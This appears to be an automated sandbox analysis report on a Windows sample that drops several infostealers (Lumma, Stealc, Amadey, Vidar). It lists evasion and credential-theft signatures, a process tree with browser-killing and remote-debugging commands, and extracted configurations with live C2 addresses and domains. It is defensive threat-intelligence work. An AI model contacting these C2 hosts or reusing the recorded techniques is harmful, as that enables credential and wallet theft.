Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1558114
MD5:	85de022b435230944001f8a62983e321
SHA1:	ee965e33549079d677a5a77e53f6e6809f614e57
SHA256:	d8a50d07f528de1a2888c9f0f713a1f61ebdda5e1a3747df5306f9a6b59feeb0
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5340 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 85DE022B435230944001F8A62983E321)

chrome.exe (PID: 4016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2328 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2224,i,5614877030029270763,4766560353645044380,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8040 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7492 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2324,i,10852513108120499400,1682595571776890846,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8392 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCAAFBFB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsHDGCAAFBFB.exe (PID: 8144 cmdline: "C:\Users\user\DocumentsHDGCAAFBFB.exe" MD5: 542EE57C01AF5BE82D6F8CE3D1D9330F)

skotes.exe (PID: 5752 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 542EE57C01AF5BE82D6F8CE3D1D9330F)

9b3207e1a5.exe (PID: 8820 cmdline: "C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe" MD5: E1AAD757DFACC743077C8E5F4502F65C)

7250ce8e20.exe (PID: 8376 cmdline: "C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe" MD5: 4EF4E5CE9D34E265E89D281844D05CB6)

35e66d06ff.exe (PID: 7312 cmdline: "C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe" MD5: 85DE022B435230944001F8A62983E321)

dd2bc11318.exe (PID: 5872 cmdline: "C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe" MD5: 016C4FB48BA8451E45562E05A9F972E5)

taskkill.exe (PID: 5932 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4916 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7024 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2272 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6724 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5512 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

8865d2703a.exe (PID: 5948 cmdline: "C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe" MD5: CE95AE34C1E8E0697B888A5357ADF7FB)

msedge.exe (PID: 7532 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7900 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8260 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6884 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8308 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7052 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8612 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8628 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 9124 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6528 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 9060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

7250ce8e20.exe (PID: 8148 cmdline: "C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe" MD5: 4EF4E5CE9D34E265E89D281844D05CB6)

7250ce8e20.exe (PID: 3576 cmdline: "C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe" MD5: 4EF4E5CE9D34E265E89D281844D05CB6)

skotes.exe (PID: 7740 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 542EE57C01AF5BE82D6F8CE3D1D9330F)

firefox.exe (PID: 988 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6704 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

35e66d06ff.exe (PID: 5388 cmdline: "C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe" MD5: 85DE022B435230944001F8A62983E321)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "p3ar11fter.sbs", "p10tgrace.sbs", "processhol.sbs", "peepburry828.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001B.00000003.3166330332.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
0000001D.00000003.3345260829.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2232954421.00000000053F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2777086892.0000000000ADC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000030.00000002.3475058567.0000000000E91000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.3294432672.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.3364981384.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.3378506086.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000023.00000003.3320256714.0000000005400000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000003.3420931591.0000000001297000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.3349859652.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.3294432672.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.3359116369.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.3166157698.00000000054EE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000018.00000003.2856885198.0000000005540000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.3221237929.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000022.00000003.3483691930.0000000001297000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.3225425875.0000000005490000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.3375178151.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.2837234813.0000000000861000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2777086892.0000000000A11000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000003.3384116320.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000003.3383963705.0000000001299000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.3381436456.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000030.00000003.3382871470.0000000004D30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000030.00000002.3473282666.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.3139660143.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.2796420874.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2779347504.000000000169E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.3278591825.0000000000E91000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000002.3362850184.0000000000D21000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000003.3443065613.0000000001298000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5340	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5340	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5340	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 7250ce8e20.exe PID: 8376	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7250ce8e20.exe PID: 8376	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7250ce8e20.exe PID: 8376	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7250ce8e20.exe PID: 8148	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7250ce8e20.exe PID: 8148	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7250ce8e20.exe PID: 8148	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 35e66d06ff.exe PID: 7312	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 35e66d06ff.exe PID: 7312	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: dd2bc11318.exe PID: 5872	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 7250ce8e20.exe PID: 3576	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7250ce8e20.exe PID: 3576	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7250ce8e20.exe PID: 3576	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 35e66d06ff.exe PID: 5388	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 35e66d06ff.exe PID: 5388	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 46 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
35.2.skotes.exe.d20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.DocumentsHDGCAAFBFB.exe.860000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5752, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7250ce8e20.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5340, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 4016, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5752, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7250ce8e20.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:02:39.204859+0100	2028371	3	Unknown Traffic	192.168.2.6	50121	188.114.96.3	443	TCP
2024-11-19T01:02:40.546036+0100	2028371	3	Unknown Traffic	192.168.2.6	50127	188.114.96.3	443	TCP
2024-11-19T01:02:42.120774+0100	2028371	3	Unknown Traffic	192.168.2.6	50130	188.114.96.3	443	TCP
2024-11-19T01:02:43.925710+0100	2028371	3	Unknown Traffic	192.168.2.6	50133	188.114.96.3	443	TCP
2024-11-19T01:02:46.080535+0100	2028371	3	Unknown Traffic	192.168.2.6	50134	188.114.96.3	443	TCP
2024-11-19T01:02:48.020472+0100	2028371	3	Unknown Traffic	192.168.2.6	50135	188.114.96.3	443	TCP
2024-11-19T01:02:49.884015+0100	2028371	3	Unknown Traffic	192.168.2.6	50139	188.114.96.3	443	TCP
2024-11-19T01:02:55.490112+0100	2028371	3	Unknown Traffic	192.168.2.6	50140	188.114.96.3	443	TCP
2024-11-19T01:02:56.128119+0100	2028371	3	Unknown Traffic	192.168.2.6	50141	188.114.96.3	443	TCP
2024-11-19T01:02:56.969820+0100	2028371	3	Unknown Traffic	192.168.2.6	50142	188.114.96.3	443	TCP
2024-11-19T01:02:59.219291+0100	2028371	3	Unknown Traffic	192.168.2.6	50147	188.114.96.3	443	TCP
2024-11-19T01:03:01.240296+0100	2028371	3	Unknown Traffic	192.168.2.6	50148	188.114.96.3	443	TCP
2024-11-19T01:03:05.229400+0100	2028371	3	Unknown Traffic	192.168.2.6	50151	188.114.96.3	443	TCP
2024-11-19T01:03:07.690036+0100	2028371	3	Unknown Traffic	192.168.2.6	50152	188.114.96.3	443	TCP
2024-11-19T01:03:09.772868+0100	2028371	3	Unknown Traffic	192.168.2.6	50156	188.114.96.3	443	TCP
2024-11-19T01:03:12.360478+0100	2028371	3	Unknown Traffic	192.168.2.6	50160	188.114.96.3	443	TCP
2024-11-19T01:03:12.923341+0100	2028371	3	Unknown Traffic	192.168.2.6	50161	188.114.96.3	443	TCP
2024-11-19T01:03:16.202435+0100	2028371	3	Unknown Traffic	192.168.2.6	50169	188.114.96.3	443	TCP
2024-11-19T01:03:16.343292+0100	2028371	3	Unknown Traffic	192.168.2.6	50171	188.114.96.3	443	TCP
2024-11-19T01:03:20.406831+0100	2028371	3	Unknown Traffic	192.168.2.6	50189	188.114.96.3	443	TCP
